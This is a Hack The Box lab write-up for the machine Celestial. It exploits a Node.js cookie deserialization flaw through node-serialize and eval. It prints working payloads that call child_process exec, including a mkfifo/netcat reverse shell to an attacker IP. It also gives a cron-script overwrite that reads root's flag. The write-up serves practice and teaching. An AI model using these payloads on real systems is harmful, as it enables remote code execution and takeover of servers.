Hack The Box: Celestial
Today, we are going to do Celestial of Hack the Box.
Enumeration & Exploitation
First, we perform an initial nmap
scan to find open ports.
# Nmap 7.70 scan initiated Mon Jul 23 06:58:10 2018 as: nmap -sV -sC -oA init 10.10.10.85
Nmap scan report for 10.10.10.85
Host is up (0.023s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul 23 06:58:38 2018 -- 1 IP address (1 host up) scanned in 28.13 seconds
If we visit the page we are confronted with a 404 error page. But if we reload the page we can see a page with content: Hey Dummy 2 + 2 is 22
.
Let’s take a closer look:
- First open Burp Suite and configure your browser of choice to use 8080 as a proxy
- Turn on intercept
- Visit the website with cleared cache and cookies
We can see that on the first visit a cookie is set:
Set-Cookie: profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D; Max-Age=900; Path=/;
The profile cookie looks very interesting because of the ending ==
which is almost always an indicator for base64 encoding.
Now decode it as base64 and you’ll get a JSON object:
{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}
If you remember the content of the page of our second visit (after the cookie is set), we can guess that the num
field could be the value that is used for the ‘computation’ shown above.
Next, we can change the num
field and insert another value like 3
which changes the output. Obviously, the JSON object is again base64 encoded and replaced in the HTTP header with the burp repeater.
Hey Dummy 3 + 3 is 33
Let’s send some special characters to the application (e.g. 3'>
)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>SyntaxError: Unexpected string<br> at /home/sun/server.js:13:29<br> at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)<br> at next (/home/sun/node_modules/express/lib/router/route.js:137:13)<br> at Route.dispatch (/home/sun/node_modules/express/lib/router/route.js:112:3)<br> at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)<br> at /home/sun/node_modules/express/lib/router/index.js:281:22<br> at Function.process_params (/home/sun/node_modules/express/lib/router/index.js:335:12)<br> at next (/home/sun/node_modules/express/lib/router/index.js:275:10)<br> at cookieParser (/home/sun/node_modules/cookie-parser/index.js:70:5)<br> at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)</pre>
</body>
</html>
Ok, we get a syntax error which means our input is parsed. Moreover, we have leaked some internal paths of the target.
Furthermore, we can do some research about nodejs
exploitation which will lead to the exploitation of a unserialize
function.
If we dig deeper, we can execute a command like this [External Tutorial]:
First we open a netcat listener on our machine with nc -lvvp 1234
and then we can execute a command with
{"username":"Admin","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"_$$ND_FUNC$$_function (){\nexec=require('child_process').exec;\nexec('echo 1234 | nc 10.10.15.XX 1234');\nreturn 1\n}()"}
If it was successful, we can change our command to something more useful:
{"username":"Admin","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"_$$ND_FUNC$$_function (){\nexec=require('child_process').exec;\nexec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.XX 1234 >/tmp/f');\nreturn 1\n}()"}
Yes, got a shell!
nc -lvvp 1234
listening on [any] 1234 ...
10.10.10.85: inverse host lookup failed: Unknown host
connect to [10.10.14.232] from (UNKNOWN) [10.10.10.85] 41274
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(sun) gid=1000(sun) groups=1000(sun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
If we look at server.js
in the home directory of the user, we can find the unserialize function and an eval expression which will execute our commands:
//...
var str = new Buffer(req.cookies.profile, 'base64').toString();
var obj = serialize.unserialize(str);
//...
var sum = eval(obj.num + obj.num);
res.send("Hey " + obj.username + " " + obj.num + " + " + obj.num + " is " + sum);
//...
Privilege Escalation
Besides the user.txt, which contains the flag of the user account, we see a script called script.py
with one line of python code print "Script is running..."
.
If we take a look at the home directory we can find a root-owned file called output.txt
which contains the string printed by the script above.
So, we can guess that the root user periodically executes the script of the user sun
. Therefore, we can easily modify script.py
to get a shell or simply leak the root.txt
Replace the content of script.py
with our python code:
with open('/root/root.txt', 'rb') as f:
print f.read()
After a few minutes, we can read the output.txt
and we get the root flag.
Important: Please put the original code in script.py
and remove the content of output.txt
to avoid spoilers.
Happy Hacking! =)